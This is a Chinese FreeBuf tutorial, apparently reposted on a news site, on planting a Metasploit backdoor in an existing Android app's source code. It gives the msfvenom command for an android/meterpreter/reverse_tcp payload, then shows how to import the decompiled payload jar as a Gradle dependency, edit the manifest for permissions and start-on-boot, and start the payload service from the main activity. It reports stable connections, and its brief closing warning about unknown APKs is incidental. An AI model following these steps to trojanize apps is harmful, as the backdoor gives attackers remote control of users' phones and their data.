當前位置:
首頁 > 新聞 > 添加Metasploit-payload到已有的Android項目中

添加Metasploit-payload到已有的Android項目中

*本文原創作者:xiaohuanshu,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

metasploit在寫這篇文章之前,筆者可以說是對java一竅不通,也從來沒有寫過什麼Android應用,在幾天的摸爬滾打中終於實現了最終的目的,就是在已有Apk源碼的情況下,用了比較另類的方式,添加metasploit後門。


同時支持java/scala兩種語言寫的項目,主要是為了給大家提供一些思路,如果哪裡寫的不準確,歡迎指正。

可能有人說,目前已經有各種各樣的工具,比如backdoor-apk能夠感染已編譯好的Apk文件,但是經過筆者的測試,這種被感染後的文件使用起來不是很穩定,而且apktool本身有缺陷,導致很多apk反編譯後無法重新編譯。

所以,既然有源碼,為何要生成apk後再注入後門?


payload分析

首先使用

msfvenom生成一個payload:



msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk

使用a

pktool與dex2jar反編譯:


apktool d payload.apkd2j-dex2jar payload.apk

最後用jd-gui打開d2j-dex2jar生成出的payload-dex2jar.jar

結合AndroidManifest.xml分析源碼後發現,Payload的服務為com.metasploit.stage.MainService。

啟動服務的方式有兩種,一個是主Activity(android.intent.action.MAIN),也就是點擊程序圖標後運行的Activity,另一個是接收android.intent.action.BOOT_COMPLETED,也就是開機自動啟動服務。

啟動服務的代碼為



MainService.startService(context);

也就是說,只要把啟動服務的代碼添加到項目源碼中的相應位置,就可以實現添加後門。

筆者首先想將反編譯後的java源碼直接添加到項目中,但無奈編譯不成功,在網上查找相關資料後發現,jd-gui反編譯的jar文件本身就有問題,只能做參考。

如果直接用github上payload的源碼,又不知道Payload的配置串是如何加密的。

最後突然想到,既然dex2jar已經將payload轉換為了jar文件,那直接將jar作為依賴包導入到工程中不就行了。


導入jar包


Android Studio

拷貝payload-dex2jar.jar到app/libs目錄下

打開app目錄下的build.gradle,在dependencies中添加compile files(『libs/payload-dex2jar.jar『)



Sbt/scala

拷貝payload-dex2jar.jar到lib目錄下


修改AndroidManifest.xml


選擇性添加添加以下許可權

可以根據需要,選擇性的添加所需要的許可權




添加服務




添加開機啟動

如果需要添加開機啟動,則必須添加android.permission.RECEIVE_BOOT_COMPLETE

D許可權。



修改源碼,啟動服務

java與s

cala相同,定位到Main Activity所在的文件中,添加import


i

mport com.metasploit.stage.MainService;

在Activity的onCreate方法中,添加


MainService.startService(this);


編譯、簽名、測試

編譯與簽名的環節就略過了,最終的測試結果非常滿意,無論是打開程序運行與開機自動運行都成功,並且連接很穩定。


後記

通過導入jar包的方式添加後門也算是另類的方式了吧,不過也算很方便了,jar包只要生成一次,就可以當做一個依賴包添加到所有Android項目中。當然一定還有更好的方法,本文只是提供一個思路。

同時提醒大家留意來路不明的Apk文件,防止被安裝後門,信息安全不容小視。


*本文原創作者:xiaohuanshu,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載



您的贊是小編持續努力的最大動力,動動手指贊一下吧!


本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

WhatsApp的「後門」是故意為之,還是提升體驗的副產品?
GoDaddySSL驗證過程出現bug,CA證書頒發自動化值得思考
眾安保險推出免費電信詐騙保險
Shadow Brokers決定退隱江湖,並放出方程式免費入侵工具

TAG:FreeBuf |

您可能感興趣

Google關閉Android 7.x Beta項目 開始迎接Android O
Google關閉Android 7.x Beta項目 全面開始擁抱Android O
《Yooka-Laylee》將支持Xbox Play Anywhere項目
Design HY Alias 分享 r-truck項目
像 npm 一樣在 Andriod 項目中引入 Gradle 依賴
把angular項目整合到.net mvc中
Docker平台與Moby項目迎來Kubernetes
Chrome OS上的Android app公測項目將持續到今夏
基於vue-electron的小項目
重磅!阿里巴巴正式開源全球化OpenMessaging和ApsaraCache項目
支持Edge Sense,HTCU11Life將是Android One項目機種
Kickstarter聯合項目管理專家推Hardware Studio計劃
聯想預覽和迪斯尼合作的 AR 項目 Star Wars: Jedi Challenges
古馳將開展多元文化項目「Primavera di Boboli」
Kickstarter推出Gold計劃 老項目回歸
[圖]聯想和迪斯尼合作推進AR項目--Star Wars: Jedi Challenges
vue-cli項目中怎麼mock數據
Wilson Associates亞洲項目震撼發布
Django項目部署到Apache伺服器